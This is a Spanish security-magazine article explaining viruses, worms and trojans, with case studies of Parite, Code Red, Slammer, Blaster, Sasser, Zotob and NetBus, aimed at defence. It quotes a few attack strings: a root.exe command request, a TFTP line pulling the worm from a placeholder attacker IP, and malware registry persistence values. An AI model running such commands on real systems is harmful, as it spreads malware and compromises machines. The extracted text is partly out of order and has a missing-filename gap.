malignos y su contraparte, las empresas de seguridad informática y de programas antivirus.

Debe ser capaz de ejecutarse a sí mismo. A menudo coloca su propio código en la ruta de ejecución de otro programa. Debe ser capaz de replicarse. Por ejemplo, puede reemplazar otros archivos ejecutables con una copia del archivo infectado. Los virus pueden infectar tanto equipos de escritorio como servidores de red. Algunos virus están programados para atacar el equipo dañando programas, eliminando archivos o reformateando el disco duro. Otros no están creados para causar daño alguno, sino para replicarse y dar a conocer su presencia mediante la presentación de mensajes de texto, vídeo o sonido. Incluso estos virus benignos pueden crear problemas al usuario del equipo. Normalmente

hacen uso de la memoria correspondiente a los programas legítimos. Como resultado, pueden provocar a menudo un comportamiento irregular en el equipo e incluso hacer que el sistema deje de responder. Además, muchos virus contienen errores que pueden ocasionar pérdidas de datos y bloqueos del sistema.

Existen cinco tipos de virus conocidos

Virus que infectan archivos: este tipo de virus ataca a los archivos de programa. Normalmente infectan el código ejecutable, contenido en archivos .com y .exe, por ejemplo. También pueden infectar otros archivos cuando se ejecuta un programa

Listado 1. Cambios que realiza un infector de archivo en los ficheros con extensión.exe y .scr c:\ActSAV32\SAV32 Act.exe Old date: 3/23/2005 1:26 PM New date: 3/23/2005 1:26 PM Old size: 159,744 bytes New size: 337,664 bytes c:\Documents and Settings\fornes\Desktop\CDSecure.exe Old date: 8/25/2006 1:05 PM New date: 8/25/2006 1:05 PM Old size: 1,656,978 bytes New size: 1,836,798 bytes c:\Documents and Settings\fornes\Desktop\cv2k4_100fuga.exe Old date: 8/21/2006 1:51 PM New date: 8/21/2006 1:51 PM Old size: 1,122,959 bytes New size: 1,304,324 bytes c:\Documents and Settings\fornes\Desktop\Pack_Vista_Inspirat_1.1.exe Old date: 4/11/2006 1:44 PM New date: 4/11/2006 1:44 PM Old size: 27,977,025 bytes New size: 28,155,140 bytes

Virus informático

Un virus informático es un pequeño programa creado para alterar la forma en que funciona un equipo sin el permiso o el conocimiento del usuario. Un virus debe presentar dos características:

Figura 1. Comparación de un fichero entre el original y la muestra infectada con el virus W32.PARITE.A

www.hakin9.org

45

Defensa

infectado desde un disquete, una unidad de disco duro o una red. Muchos de estos virus están residentes en memoria. Una vez que la memoria se infecta, cualquier archivo ejecutable que no esté infectado pasará a estarlo. Algunos ejemplos conocidos de virus de este tipo son Jerusalén y Parity.a.

Ejemplo: Virus Parity.A

Virus polimorfico tambien conocido como W32/Pate.a.dam. Tiene un tamaño de 176,128 bytes. Es un infector de archivos del tipo parásito ya que se adjunta a otro programa y se activa cuando ese programa es ejecutado. Posee además características de gusano, ya que puede propagarse a través de redes. Cuando se ejecuta, se agrega al final de todos los archivos con formato PE (Portable Executable), con extensión .exe y .scr en el directorio de Windows y todos los subdirectorios del sistema local, así como a todos los archivos accesibles en unidades de red compartidas. En ocasiones el virus corrompe el archivo infectado, siendo imposible su recuperación. El virus crea una sección extra en el archivo PE, con un nombre de tres letras al azar más el carácter (•). Crea la siguiente clave en el registro:

acción se repetirá, contaminándolo todo. Como vemos en la descripción, este virus tiene acción de gusano, cuya definición veremos mas adelante, así que también se copia por la red en directorios compartidos. Esto quiere decir que a la hora de la contaminación si existía otro equipo compartiendo un directorio con la equipo contaminado (y sin las medidas de seguridad apropiadas), y en él hubiese algún archivo de tipo .exe

o .scr, estos también quedarían con taminados, comenzando de nuevo la cadena de reproducción del virus. En Figura 1 vemos a la izquierda el archivo original y a la derecha el mismo archivo infectado por el virus PARITE.A. El Archivo original (izquierda) termina en la dirección de memoria 0x00032FF0 y a partir de esta, se copia el código del virus (derecha). Para poder controlar el archivo original infectado (Figura 2), el

Figura 2. Archivo original

HKCU\Software\Microsoft\Windows\ CurrentVersion\Explorer\PINF

Como es un infector de archivo veremos una muestra de los cambios que realiza en los ficheros formato PE (Portable Executable), con extensión .exe y .scr (Listado 1). Vemos como aumentan de tamaños estos archivos, demostrando la existencia del virus, a partir de este momento estos archivos están infectados y listos para reproducir el virus. Si de alguna manera estos archivos infectados abandonan el equipo contaminado, bien mediante porque han sido copiados a un CD-ROM, a una memoria de tipo flash o de cualquier otra forma, y es ejecutado en otro equipo, la

46

Figura 2a. Archivo infectado

Figura 3. Primera intrusión del virus en el archivo infestado

www.hakin9.org

Programas malignos

virus cambia su punto de entrada o Entrypoint – primera instrucción que se va a ejecutar (Figura 2a). Podemos ver a la Izquierda el desplazamiento del archivo o File Offset cuyo valor es 00033000 en disco, que precisamente corresponde a la primera intrusión del virus en el archivo infestado (Figura 3).

Virus de sector de arranque

Estos virus infectan el área de sistema de un disco. Es decir, el registro de arranque o Master Boot Record (MBR) de los disquetes y los discos duros. Todos los disquetes y discos duros (incluidos los que sólo contienen datos) tienen un pequeño programa en el registro de arranque que se ejecuta cuando se inicia el equipo. Los virus de sector de arranque se copian en esta parte del disco y se activan cuando el usuario intenta iniciar el sistema desde el disco infectado. Estos virus están residentes en memoria por naturaleza. La mayoría se crearon para DOS, pero todos los equipos, independientemente del sistema operativo, son objetivos potenciales para este tipo de virus. Para que se produzca la infección basta con intentar iniciar el equipo con un disquete infectado. Posteriormente, mientras el virus permanezca en memoria, todos los disquetes que no estén protegidos contra escritura quedarán infectados al acceder a ellos. Algunos ejemplos de virus del sector de arranque son Form, Disk Killer, Michelangelo y Stoned.

Virus de sector de arranque maestro

Estos virus están residentes en memoria e infectan los discos de la misma forma que los virus del sector de arranque. La diferencia entre ambos tipos de virus es el lugar en que se encuentra el código vírico. Los virus de sector de arranque maestro normalmente guardan una copia legítima del sector de arranque maestro en otra ubicación. Los equipos con Windows NT infectados

Figura 4. Ataque del gusano ‘Code Red’ por virus del sector de arranque o del sector de arranque maestro no podrán arrancar. Esto se debe a la diferencia en la forma en que el sistema operativo accede a la información de arranque, en comparación con Windows 95/98. Si el sistema con Windows NT está formateado con particiones FAT, normalmente se puede eliminar el virus arrancando desde DOS y utilizando un programa antivirus. Si la partición de arranque es NTFS, el sistema deberá recuperarse utilizando los tres discos de instalación de Windows NT. Algunos ejemplos de virus del sector de arranque maestro son NYB, AntiExe y Unashamed.

Virus múltiples

Estos virus infectan tanto los registros de arranque como los archivos de programa. Son especialmente difíciles de eliminar. Si se limpia el área de arranque, pero no los archivos, el área de arranque volverá a infectarse. Ocurre lo mismo a la inversa. Si el virus no se elimina del área de arranque, los archivos que hayan sido limpiados volverán a infectarse. Algunos ejemplos de virus múltiples son One_Half, Emperor, Antrax y Tequila.

Virus de macro

Estos virus infectan los archivos de datos. Son los más comunes y han costado a empresas importantes gran cantidad de tiempo y dinero para eliminarlos. Con la llegada de Visual Basic en Microsoft Office 97, se puede crear un virus de macro que no sólo infecte los archivos de datos, sino también

www.hakin9.org

otros archivos. Los virus de macro infectan archivos de Microsoft Office: Word, Excel, PowerPoint y Access.Actualmente están surgiendo también nuevos derivados en otros programas. Todos estos virus utilizan el lenguaje de programación interno de otro programa, creado para permitir a los usuarios automatizar ciertas tareas dentro del programa. Debido a la facilidad con que se pueden crear estos virus, existen actualmente miles de ellos en circulación. Algunos ejemplos de virus de macro son W97M.Melissa, WM.NiceDay y W97M.Groov.

Los Gusanos

Los gusanos son programas que se replican a sí mismos de sistema a sistema sin utilizar un archivo para hacerlo. En esto se diferencian de los virus, que necesitan extenderse mediante un archivo infectado. Aunque los gusanos generalmente se encuentran dentro de otros archivos, a menudo documentos de Word o Excel, existe una diferencia en la forma en que los gusanos y los virus utilizan el archivo que los alberga. Normalmente el gusano generará un documento que ya contendrá la macro del gusano dentro. Todo el documento viajará de un equipo a otro, de forma que el documento completo debe considerarse como gusano. Se han hecho muy populares debido al amplio uso actual de Internet y el correo electrónico. Aunque los primeros experimentos con estos tipos de programas se remon-

47

Defensa

Welcome to http://www.worm.com! Hacked By Chinese!

Figura 5. La página Web de Inicio del servidor cambiada por este mensaje

tan al año 1982 en el Research Center de Palo Alto, Estados Unidos, no fue hasta el 2 de noviembre de 1988 cuando se multiplicó el primer gusano a través de Internet. Su nombre era Morris, explotó múltiples huecos de seguridad y afectó en pocas horas alrededor de 60. 000 computadoras, causando problemas de conectividad durante varios días. A partir de esa fecha, otros códigos maliciosos también hicieron irrupción en las redes, pero no fue hasta los primeros días del mes de marzo de 1999, cuando apareció Melissa, fue entonces cuando se convirtieron en un verdadero dolor de cabeza. Melissa logró un alto nivel de infección por el gran intercambio de información contenida en archivos escritos en la aplicación Word de la suite Microsoft Office, y por su modo de diseminación. Viajó en un correo electrónico con asunto Important Message From (Mensaje Importante de…), donde el nombre correspondía al de la cuenta de correo electrónico del

usuario que supuestamente lo enviaba. El texto invitaba a su lectura, y el anexo contenía referencias a sitios web con información pornográfica, aunque podía sustituirse por un documento de la computadora infestada. De esta forma viajaron por Internet documentos con información sensible. Un mensaje con estas características llamó la atención de muchos receptores, quienes tentados abrieron el anexo y se contaminaron. Esta técnica de explotar la debilidad de la confianza de los seres humanos, conocida como ingeniería social, ha sido ampliamente usada por los creadores de virus. Este fue el gusano que inició la lista de los más propagados y dañinos en la historia de los códigos malignos, y en pocos días logró afectar 1.200.000 computadoras con daños ascendentes a 1.100 millones de dólares, según la publicación Computer Economics. Ese mismo año, en el mes de junio, fue reportado el altamente destructivo gusano ExploreZip. Al igual que el anterior, viajaba en un correo electrónico y adjuntaba un archivo de nombre zipped_files. Además, utilizaba el icono de compresión del programa WinZip y así daba la impresión de ser la respuesta a un texto previamente enviado por el receptor. Este código infeccioso borraba además los archivos de extensión .c, .h, .cpp, .asm, .doc, .xls, .ppt, asig-

Figura 6. La víctima del ataque del gusano

48

www.hakin9.org

nándoles un tamaño de 0 bytes, con lo cual eran irrecuperables. En Mayo de 2000 las redes informáticas de todo el mundo sufrieron una gran conmoción cuando apareció el célebre gusano I love you o Love Setter. Este fue un programa que explotó varias vías de reproducción, como el correo electrónica, la mensajería instantánea, las salas de conversación o chats, los servicios de noticias o newsgroups, los archivos compartidos en una red o las páginas web en Internet. El mensaje tenía como asunto ILOVEYOU (Te quiero, en inglés), y el texto sugería abrir una carta de amor enviada al destinatario, que aparecía como anexo en el nombre LOVE-LETTER-FOR-YOU.TXT.VBS (CARTA DE AMOR PARA TI, en inglés). A diferencia del Melissa, el ILOVEYOU intentaba enviar un mensaje similar a todas las direcciones de correo que tenía la máquina infectada, por lo cual el nivel de difusión alcanzado fue muy alto, alrededor de tres millones de computadoras en un día. Esto, junto a la destrucción de archivos en el disco duro, que realizó mediante la sobre escritura con su código, provocó daños en todo el mundo valorados en 8.750.000 dólares. El año 2001 también fue pródigo en gusanos notorios. El primero de ellos, Code Red o Código Rojo, resultó todo un acontecimiento, tanto por los altos niveles de extensión como por las novedosas técnicas que empleaba. Este código afectó a un buen número de servidores de Internet de Microsoft (Microsoft Internet Information Server o IIS), además de lanzar ataques de denegación de servicio (DoS). Se pueden diferenciar dos variantes de la familia Code Red. Ambas explotaron la vulnerabilidad MS01033 en las extensiones ISAPI en las versiones 4.0 y 5.0 del servicio IIS (Microsoft Internet Information Service), logrando afectar, en el segundo caso, 359.000 computadoras en menos de 14 horas.

Programas malignos

La velocidad de diseminación según estadísticas de CAIDA, situado en el Centro de Supercomputadoras de San Diego, fue de 2000 equipos por minuto en el momento álgido de propagación. Este hecho ocurrió 24 días después de haber sido liberado el parche para solucionar la vulnerabilidad. La Figura 1 muestra cómo Code Red realiza la búsqueda del equipo vulnerable y su posterior propagación.

Vulnerabilidad MS01-033

MS01-033 (Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise). Vulnerabilidad en el archivo IDQ. DLL, de los servidores Microsoft IIS 5.0. Sistemas Afectados: •

Windows 2000 IIS (Versión inglesa), • Windows NT (Versión inglesa). Filtro: Codered: "http or tcp.dstport == 80" En la Figura 4 vemos una muestra de la captura de Ethereal en el momento del ataque del gusano Code Red. Como vemos son simples peticiones (GET), utilizadas por el protocolo HTTP para descargar una simple pagina Web, con el siguiente formato:





De ser así, el gusano procederá a desconfigurar el sitio Web del sistema infectado. La página Web de Inicio del servidor se cambiará por un mensaje que presenta este aspecto: Welcome to http://www.worm. com!, Hacked By Chinese!. Este mensaje en la página infectada, permanecerá activa durante 10 horas y luego desaparecerá. El mensaje no se volverá a mostrar, a menos que el servidor sea reinfectado por otro sistema. Si el sistema no tiene Windows NT/2000 en inglés, el hilo 100 se utilizará para infectar otros servidores. Cada hilo del gusano busca el archivo c:\notworm. Si lo encuentra, el gusano permanecerá inactivo. Si no se encuentra, cada hilo continuará intentando infectar más servidores web (Figura 5). Cada hilo del gusano verifica la fecha del sistema del servidor infectado. •

http://www.maquina victima.com/ scripts/ root.exe?/c+dir+c:\HTTP/1.1

El código se guarda como archivo en el disco, sino que a través de IIS se posiciona en la memoria dinámica integrándose en el propio sistema. Una vez que Code Red ha infectado un servidor, empieza a buscar direcciones IP de forma aleatoria con el propósito de infectar otros servidores que tengan instalado el IIS. Una vez que Code Red ha logrado infectar un servidor Web, actúa de la siguiente forma: • •

Se integra en la plataforma del sistema infectado, Genera 100 hilos (subprocesos) del gusano,

Los primeros 99 hilos los utlizará para propagarse a otros servidores web, El hilo número 100 verifica si el sistema Windows NT/2000 es una versión inglesa.



Si la fecha es posterior al día 20 del mes, el hilo dejará de buscar sistemas para infectar y en su lugar atacará el servidor web de La Casa Blanca de los Estados Unidos en www.whitehouse.gov. El ataque consiste en el envío de 100 kilobytes de datos al puerto 80 del mencionado sitio web. Este aluvión de información (410 megabytes cada 4 horas y media) provocará la saturación de los servicios infectados. Si la fecha es entre los días 10 y 19 del mes, el gusano no intentará atacar al sitio web de la Casa Blanca y continuará tratando de infectar nuevos servidores web en todo el mundo.

El 7 de Agosto de 2001, a causa del gusano Code Red, los servidores de la Casa Blanca, sede de la Presiden-

www.hakin9.org

Figura 7. Esta ventana podía aparecer en Windows XP debida a la acción del gusano Blaster cia de los Estados Unidos migraron al sistema operativo Linux: En enero de 2003 el gusano Slammer explotó una vulnerabilidad presente en el servicion de resolución de Microsoft SQL Server 2000 y Microsoft Desktop Engine 2000 basada en un desbordamiento de buffer (MS02-039). Logró afectar entre 100.000 y 200.000 equipos en 10 minutos, duplicando la cantidad de equipos comprometidos en pocos segundos. La difusión comenzó transcurridos 183 días a partir de la liberación del parche oficial de seguridad. En la figura 2 se puede observar la localización de la víctima potencial y su posterior transmisión. SIRCAM fue el segundo de los afamados de ese año, detectado inicialmente el 25 de julio, y se distribuyó con textos escritos en inglés y español. El anexo, con doble extensión, contenía un fichero formado por dos archivos, uno con el código del gusano y otro robado de la computadora desde donde era enviado. En esa ocasión los daños evaluados fueron del orden de los 1.150 millones de dólares, sin considerar el hecho de que creó brechas de confidencialidad al dar a la luz archivos con información potencialmente sensible. Para finalizar el año, el 8 de diciembre se emitieron los primeros informes del Nimda, que circuló con formato de página Web, alterado de forma tal que engañó a Internet Explorer, permitiendo la ejecución del archivo adjunto con

49

Defensa

solo visualizar la vista previa. Los daños ocasionados por su acción ascendieron a 635 millones de dólares. Durante el año 2002, los gusanos más distinguidos fueron los pertenecientes a la familia Klez, los cuales se mantuvieron alrededor de 12 meses en el primer lugar de las listas de informes de las empresas antivirus. Según el boletín G2 Security, de Mayo de 2002, con el nivel de propagación alcanzado de la variante Klez.H se llegaron a detectar 2.000 copias diarias. Finalmente, en el transcurso del año 2003 nuevos gusanos como Slammer o Sapphire causaron estragos, hasta el punto que Corea del Sur desapareció de Internet, 13.000 computadoras de un gran banco de los Estados Unidos dejaron de trabajar, y una línea aérea americana canceló vuelos por problemas en los sistemas de compra y chequeo de billetes. Además, logró afectar entre 100.000 y 200.000 computadoras en 10 minutos, duplicando la cantidad en pocos segundos. Famosos también fueron Blaster o Lobezna y los miembros de la familia Sobig. En el caso de la versión Sobig.F, aparecida en Agosto, rompió todos los records históricos de gusanos que utilizaban como vía principal el correo electrónico, pues en su momento álgido fue detectado un correo portador por cada 20 transmitidos a través de Internet. Otro gusano que basó su éxito en la ingeniería social superó esta cifra a inicios de 2004; su nombre Mydoom.A. Entre sus características principales se encontraba que podía viajar en archivos adjuntos comprimidos, tendencia seguida por sus sucesores como las variantes de Netsky y Bagle, muy diseminadas durante este mismo año. Esta nueva propensión, más compleja aún con el uso de palabras claves o contraseñas, se debió a que los administradores de los servido-

50

res de correo electrónico limitaban el envío y recepción de archivos ejecutables, pero no limitaban los archivos comprimidos. Lo curioso es que si bien el usuario tenía que descomprimir el código del gusano para ejecutarlo, y en muchos casos teclear la palabra clave, los creadores de virus inteligentemente dispusieron que la palabra clave viajara dentro del texto del mensaje. En general, aunque las principales vías de transmisión de los gusanos han sido el correo electrónico y los recursos compartidos a través de las redes, existen otros como las redes P2P utilizadas para el intercambio de archivos, e incluso la sencilla vía de los disquetes, cada día más en desuso.

Existe una nueva tendencia, cada vez más utilizada, de explotar las vulnerabilidades o defectos de seguridad de los sistemas operativos y aplicaciones.

Ejemplo de un gusanos que explotan vulnerabilidadades

En enero de 2003 el gusano Slammer explotó una debilidad presente en el servicio de resolucion de Microsoft SQL Server 2000 y Microsoft Desktop Engine 2000 basada en un desbordamiento de buffer (MS02-039). Logró afectar entre 100.000 y 200.000 equipos en 10 minutos, duplicando la cantidad de equipos comprometidos en pocos segundos. La difusión comenzó transcurridos 183 días a par-

Figura 8. Moquina que realiza el ataque

Figura 9. Captura hecha por el analizador de protocolos de red ‘Ethereal’ escuchando en otra maquina de la red

www.hakin9.org

Programas malignos

tir de la liberación del parche de seguridad. En la Figura 5 se puede observar la localización de la víctima potencial y su posterior transmisión.

Gusano Slammer • •

Vulnerabilidad que explota MS02039, Buffer Overruns in SQL Server 2000 (MS02-039) Resolution Service Could Enable Code Execution (Q323875),

Sistemas Afectados: • • • •

Microsoft SQL Server 7.0, Microsoft Data Engine (MSDE) 1.0, Microsoft SQL Server 2000, Microsoft Desktop Engine (MSDE) 2000.

Este gusano se propaga a través de los servidores Microsoft SQL bajo

Windows 2000, que no han sido actualizados con el parche correspondiente. Durante la infección, el gusa no se mantiene activo en memoria solamente, no se copia a ningún archivo No compromete directamente al usuario individual, debido a que no infecta computadoras personales, solo servidores SQL bajo Windows 2000 (Microsoft SQL Server 2000 y Microsoft SQL Server Desktop Engine (MSDE)). Sin embargo, cómo el MSDE esta integrado no solo con el software del SQL, sino también en Visual Studio .NET y Office XP Developer Edition, el gusano podría propagarse más allá de los servidores SQL. Como vemos el gusano ataca el puerto 1433 (SQL). Filtro Ethereal: Slammer (tcp.dstport == 1433). En la Figura 6 vemos una captura del ataque del gusano tomando co-

mo víctima la maquina con dirección IP 172.16.1.92. Señalado en rojo, tenemos el paquete en el cual viaja el Shellcode, que es el momento en el cual el gusano explota la vulnerabilidad de Buffer Overflow en este caso. El gusano Blaster explotó un hueco de seguridad basado en un desbordamiento de búfer (MS03-026), presente en el Distributed Component Object Model (DCOM) que interactúa con el protocolo de Llamada de Procedimiento Remoto o Remote Procedure Call (RPC) de Windows 2000 y XP. La solución fue publicada sólo 26 días antes de su propagación. Un ataque de denegación de servicio lanzado por el gusano al sitio en Internet donde se puso a disposición de los usuarios el parche de seguridad impidió su descarga durante varias horas. En la Figura 3 se muestra un ejemplo de la difusión. Proceso de infección del Blaster en un ambiente virtual utilizando el mismo exploit que usa el gusano para crear una shell (Puerta trasera) en el equipo víctima por la cual el mismo se copia emulando un servidor FTP. Si el ataque se realiza con éxito, el gusano tomará el control de la máquina víctima de forma remota como usuario Administrador, pudiendo realizar cualquier tarea. En este caso ejecuta el comando siguiente para copiarse el mismo: TFTP (IP atacante) GET (Blaster)

Figura 10. Captura del estado de los puertos de la víctima. Se ve el puerto abierto por el gusano

Figura 11. El gusano obtuvo una ‘shell’ (acceso abierto en el sistema víctima) y está listo para copiarse

www.hakin9.org

Después seguirá buscando máquinas hasta encontrar algunas vulnerables y repetir de nuevo el proceso. El Proceso de Infección se puede ver en Figura 8, 9, 10, 11. Este ataque (Figura 8) fue realizado por la herramienta que explota la vulnerabilidad (exploit), pero es el mismo procedimiento efectuado por el gusano, con la diferencia que todo es oculto al usuario. Figura 9 – captura hecha por el analizador de protocolos de red

51

Defensa

Su difusión se puede observar en la Figura 4. Worm.W32/Passer provoca un desbordamiento de búfer en el componente LSASS.EXE, lo que hace que dicho programa falle y requiera el reinicio de Windows. Puede presentarse el siguiente mensaje (Figura 12). Para ejecutarse automáticamente cada vez que el sistema es reiniciado, el gusano añade a la siguiente clave del registro de Windows el valor indicado: Clave: HKEY_LOCAL_MACHINE\SOFTWARE\

Figura 12. Este comunicado aparece cuando el virus provoca el fallo del programa

Microsoft\Windows\CurrentVersion\Run Valor: "avserve.exe" = C:\WINDOWS\ avserve.exe

Vulnerabilidad MS04-011

Figura 13. Exploit que explota una vulnerabilidad utilizando ‘Ethereal’

Ethereal escuchando en otra maquina de la red. Podemos ver el ataque que utiliza la vulnerabilidad de RPC (Protocolo DCERPC). Seleccionado esta el shellcode que se utiliza para explotar el Buffer Overflow o desbordamiento de buffer. Figura 10 muestra el estado de los puertos en la víctima. Se ve el puerto abierto por el gusano. En este momento el gusano obtuvo una shell (acceso abierto en el sistema víctima) y se encuentra listo para copiarse (Figura 11). Como el gusano ya tiene una shell, puede ejecutar comandos remotamente en la maquina víctima como si estuviera físicamente en ella. A continuación ejecuta un TFTP (viene por defecto en Windows) y utiliza las opciones del mismo para copiarse en la máquina. Terminado el proceso el gusano escanea rangos

52

IP buscando nuevas máquinas vulnerables para repetir el proceso al completo. El ejemplo anterior es el proceso de propagación del gusano. Cuando se copia y posteriormente se ejecuta puede realizar otras acciones. Witty y Passer por su parte comenzaron su propagación en 2004. El primero, altamente destructivo, se valió de una vulnerabilidad (CAN2004-0362) en el Internet Security Systems Protocol Analysis Module (PAM), cuya solución fue puesta a disposición de los usuarios sólo un día antes. El segundo se aprovechó de un desbordamiento de buffer en el servicio LSASS (MS04-011), ampliamente empleada por nuevas familias de gusanos como Mytob, cuya solución fue liberada 17 días antes.

www.hakin9.org

Vulnerabilidad que explota en buffer Overflow en el Servicio lsass.exe (lsasrv.dll) Explotada por el gusano Sasser FILTRO : Sasser ---->" dcerpc or tcp.dstport == 445 " En el ejemplo se puede observar el momento en el cual el gusano inyecta el shellcode en la función vulnerable de Lsass (DsRolerUpgradeDownlevelServe). A partir de ese momento realiza lo mismo que otros gusanos de su tipo, se copia él mismo en la máquina víctima a través de la shell que él mismo abrió aprovechando la vulnerabilidad. En el transcurso del 2005 la familia de los gusanos Zotob comenzó su propagación valiéndose de la vulnerabilidad en el componente Plug and Play (MS05-039), cuyo parche fue liberado 5 días antes. En la Figura 5 se muestra su transmisión.

-Vulnerabilidad MS05-039

Explotada por el gusano Zotob. Esta vulnerabilidad solo se puede explotar en equipos con Windows 2000 sin el parche MS05-039 instalado. Solamente un usuario autenticado podría explotarla de forma remota en equipos con Windows XP y XP con Service Pack 1 instalado (Figura 14):

Programas malignos

FILTRO : MS05-039 "Plug and Play" Zotob ----->"dcerpc or pnp or tcp.dstport == 445"

Software afectado: • • • • • • • • •

Microsoft Windows 2000 Service Pack 4 Microsoft Windows XP Service Pack 1 Microsoft Windows XP Service Pack 2 Microsoft Windows XP Professional x64 Edition Microsoft Windows Server 2003 Microsoft Windows Server 2003 Service Pack 1 Microsoft Windows Server 2003 for Itanium Microsoft Windows Server 2003 SP1 for Itanium Microsoft Windows Server 2003 x64 Edition

El gusano también abre un servidor FTP en el puerto TCP 33333 por el que otros equipos descargarán una copia del gusano. El gusano intenta propagarse utilizando la vulnerabilidad en el servicio Plug and Play de Windows, descrita en el boletín de seguridad MS05-039. Para ello puede crear hasta 300 threads (hilos de ejecución o subprocesos) para buscar sistemas vulnerables enviando paquetes SYN por el puerto TCP 445. Si el ataque tiene éxito (equipos con Windows 2000 sin el parche MS05-039), ejecuta un shell (cmd.exe) en el puerto TCP 8888. Por este puerto, envía al equipo remoto los comandos para descargarse y ejecutarse a sí mismo. Primero, copia el archivo 2pac.txt en los sistemas vulnerables: Este archivo contiene un script FTP, que el gusano intentará usar al ejecutar el comando FTP.EXE por el shell abierto antes, con el resultado que el equipo accedido descargue una copia del malware usando el servidor FTP en el puerto TCP 33333 creado antes en el equipo infectado. El archivo descargado se guarda con el siguiente nombre y después

se ejecuta: Nota del traductor FALTA EL NOMBRE. Como puede comprobarse en los casos anteriores, en la mayoría de los casos fue necesario poco tiempo entre la liberación de los correspondientes parches de seguridad y su explotación por un programa maligno – incluso se informaron algunos, como en el caso de Fever, en que su creador se adelantó a la solución. Finalizado el año 2005, son alarmantes las estadísticas elaboradas por el Laboratorio Antivirus de Kaspersky [1], sobre las 10 vulnerabilidades más atacadas durante el pasado año. En la tabla se aprecian varias de las mencionadas (Tabla abajo). También se encuentran presentes otras reportadas en los boletines, MS03-007 (17/03/2003), MS04007 (10/02/2004), MS04-045 (14/ 12/2004), MS02-061 (28/02/2003) y MS01-059 (20/12/2001). Uno de los problemas más preocupantes es el desconocimiento de los usuarios, desconocimiento que aprovechan los creadores de gusa-

nos mediante técnicas de ingeniería social que invitan a los incautos a abrir mensajes sospechosos, que nunca deberían abrir. Ejemplo de gusano de correo electrónico (Listado 2).

Caballos de Troya

Los caballos de Troya son impostores, es decir, archivos que pretenden ser benignos pero que de hecho, son perjudiciales. Una diferencia muy importante con respecto a los virus reales es que no se replican a sí mismos. Los caballos de Troya contienen código dañino que, cuando se activa, provoca grandes pérdidas o incluso robo de datos o de información sensible. Para que un caballo de Troya se extienda, es necesario dejarlo entrar en el sistema, por ejemplo abriendo un archivo adjunto de correo. Se denomina troyano (o caballo de Troya) a un programa malicioso capaz de alojarse en computadoras y permitir el acceso a usuarios externos, a través de una red local o de Internet, con el fin de recabar infor-

Figura 14. Vulnerabilidad MSO5-039 explotada por el gusano ‘Zotob’

Boletín y parche de seguridad

Fecha de liberación

Algunos programas malignos que explotan la vulnerabilidad

MS02-039

24/07/2002

Slammer, Sdbot

MS03-026

16/07/2003

Blaster, Gaobot, Nachi

MS05-039

09/08/2005

Zotob, Bozori, Mytob

www.hakin9.org

53

Defensa

mación y/o controlar remotamente la máquina huésped. Un troyano no es de por sí, un virus, aún cuando teóricamente pueda ser distribuido y funcionar como tal. La diferencia fundamental entre un troyano y un virus consiste en su finalidad. Para que un programa sea un troyano solo tiene que acceder y/o controlar la maquina huésped sin ser advertido, normalmente bajo una apariencia inocua. Suele ser un programa pequeño alojado dentro de una aplicación, una imagen, un archivo de música u otro elemento de apariencia inocente, que se instala en el sistema al ejecutar el archivo que lo contiene. Una vez instalado, parece realizar una función útil (aunque cierto tipo de troyanos permanecen ocultos y por tal motivo los programas antivirus o aplicaciones anti-troyanos no los eliminan) pero internamente realiza otras tareas de las que el usuario no es consciente, de igual forma que el Caballo de Troya que los griegos regalaron a los troyanos. Este tipo de software se utiliza habitualmente para espiar, usando la técnica de instalar un software de acceso remoto que permite monitorizar lo que el usuario legítimo hace y, por ejemplo, capturar las pulsa-

ciones del teclado con el fin de obtener contraseñas u otra información sensible. La mejor defensa contra los troyanos es no ejecutar nada de lo cual se desconozca el origen y mantener software antivirus actualizado y dotado de buena heurística. Es recomendable también instalar algún software anti-troyano, de los cuales existen versiones gratis. Otra solución bastante eficaz contra los troyanos es tener instalado un firewall, tambien conocido como cortafuegos. Otra manera de detectarlos es inspeccionando frecuentemente la lista de procesos activos en memoria en busca de elementos extraños, vigilar accesos a disco innecesarios, etc.

Caballos de pura sangre

NetBus y Back Orifice tienen muchos puntos en común. Ambos son caballos de Troya basados en la idea de cliente-servidor. Han sido creados para sistemas Microsoft, pero Back Orifice sólo funciona en Windows 95/98, mientras que NetBus también lo hace sobre NT. El programa servidor, en ambos casos, debe ser instalado en el ordenador de la víctima. Como

Listado 2. Ejemplo Gusano W32.Bagle.M Nombre: W32.BAGLE.M Es una aplicación de 32 bits. Llega con el nombre foto_4265.exe y su tamaño es de 9.221 bytes. Cuando se ejecuta crea el siguiente fichero: c:\WINNT\system32\anti_troj.exe Accede a Internet Explorer donde agrega la siguiente referencia en la barra de direcciones: C:\WINNT\system32\ntimage.gif Añade las siguientes claves al registro: HKEY_CURRENT_USER\Software\FirstRRRun HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions\CmdMapping HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ MenuOrder\Favorites\Vínculos Modifica los valores siguientes: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run anti_troj = C:\WINNT\System32\anti_troj.exe � Para Garantizar ejecutarse al inicio de windows. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run anti_troj = C:\WINNT\System32\anti_troj.exe � Para Garantizar ejecutarse al inicio de windows.

54

www.hakin9.org

se ha explicado, esta tarea se ha simplificado, ya que el atacante puede ocultar el troyano dentro de cualquier programa o aplicación. Incluso puede mandar el virus por correo y ser instalado con sólo abrir el mensaje (consultar el artículo Las verdades del correo electrónico en la publicación iWorld de Febrero de 1999). Una vez instalado, el servidor abre un puerto de comunicaciones y se queda escuchando peticiones. Es decir, los comandos que le envía el programa cliente que está utilizando el atacante desde su ordenador remoto. NetBus abre un puerto TCP, mientras que Back Orifice utiliza un puerto UDP. Se puede cambiar el número del puerto por el que atiende el servidor en ambos casos. También se puede proteger el acceso al servidor mediante una clave. De esta forma, ya no es suficiente con tener instalado el cliente del troyano y conocer la IP de la máquina infectada, sino que también será necesario conocer la clave que autoriza el acceso al servidor. Tanto NetBus como Back Orifice ofrecen un entorno gráfico para manejar todas las posibilidades del cliente. Lo que significa que cualquiera que conozca el funcionamiento básico de Windows, está en disposición de gestionar, de forma remota, cualquier recurso del ordenador infectado por el troyano. Netbus incluye una herramienta que permite buscar máquinas, indicando un rango de direcciones IP que tengan abierto el puerto 